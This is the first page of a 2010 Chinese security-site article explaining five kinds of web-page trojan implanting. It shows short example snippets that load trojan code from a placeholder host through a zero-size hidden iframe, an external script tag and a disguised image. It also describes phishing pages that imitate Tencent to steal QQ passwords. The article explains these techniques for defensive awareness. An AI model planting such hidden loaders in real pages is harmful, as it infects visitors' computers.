服安最新信息资讯

服安资讯热点推荐

服安资讯阅览排行

信息安全法律法规

服务器安全技术资讯

服安解决方案

您当前的位置是：服务器安全资讯网>反黑客>防黑反黑>

网页挂马的五种类型

来源：服安资讯时间:2010-02-25 作者：秩名点击：次责任编辑：Flyfox
TAG: 类型网页挂马服务器安全应急处理中心:让您的服务器更安全! 进入安全讨论社区

摘要:

网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码。浏览者在打开该页面的时候，这段代码被执行，然后下载并运行某木马的服务器端程序，进而控制浏览者的主机。

1、框架嵌入式网络挂马

网页木马被攻击者利用iframe语句，加载到任意网页中都可执行的挂马形式，是最早也是最有效的的一种网络挂马技术。通常的挂马代码如下：

<iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>

解释：在打开插入该句代码的网页后，就也就打开了http://www.xxx.com /muma.html页面，但是由于它的长和宽都为“0”，所以很难察觉，非常具有隐蔽性。下面我们做过做个演示，比如在某网页中插入如下代码：

<iframe src=http://tech.ccidnet.com/security width=200 height=200></iframe>

在“百度”中嵌入了“赛迪IT技术安全版块”的页面，效果如图1。(图1)

2、js调用型网页挂马

js挂马是一种利用js脚本文件调用的原理进行的网页木马隐蔽挂马技术，如：黑客先制作一个.js文件，然后利用js代码调用到挂马的网页。通常代码如下：

<script language=javascript src=http://www.xxx.com/gm.js></script>

http://www.xxx.com/gm.js就是一个js脚本文件，通过它调用和执行木马的服务端。这些js文件一般都可以通过工具生成，攻击者只需输入相关的选项就可以了，如图2就是一个JS木马的代码。(图2)

3、图片伪装挂马

随着防毒技术的发展，黑手段也不停地更新，图片木马技术逃避杀毒监视的新技术，攻击者将类似： http://www.xxx.com/test.htm中的木马代码植入到test.gif图片文件中，这些嵌入代码的图片都可以用工具生成，攻击者只需输入相关的选项就可以了，如图3。图片木马生成后，再利用代码调用执行，是比较新颖的一种挂马隐蔽方法，实例代码如：

<html>
<iframe src="http://www.xxx.com/test.htm" height=0 width=0></iframe> 
<ccid_file values="http://www" src="http://www.xxx.com/test.jpg" /></center> 

</html>

注：当用户打开http://www.xxx.com/test.htm是，显示给用户的是 http://www.xxx.com/test.jpg，而http://www.xxx.com/test.htm网页代码也随之运行。(图3)

4、网络钓鱼挂马(也称为伪装调用挂马)

网络中最常见的欺骗手段，黑客们利用人们的猎奇、贪心等心理伪装构造一个链接或者一个网页，利用社会工程学欺骗方法，引诱点击，当用户打开一个看似正常的页面时，网页代码随之运行，隐蔽性极高。这种方式往往和欺骗用户输入某些个人隐私信息，然后窃取个人隐私相关联。比如攻击者模仿腾讯公司设计了一个获取QQ币的页面，引诱输入QQ好和密码，如图4。(图4)

共2页: 上一页

1 2 下一页

顶一下

(0)

0%

踩一下

(0)

0%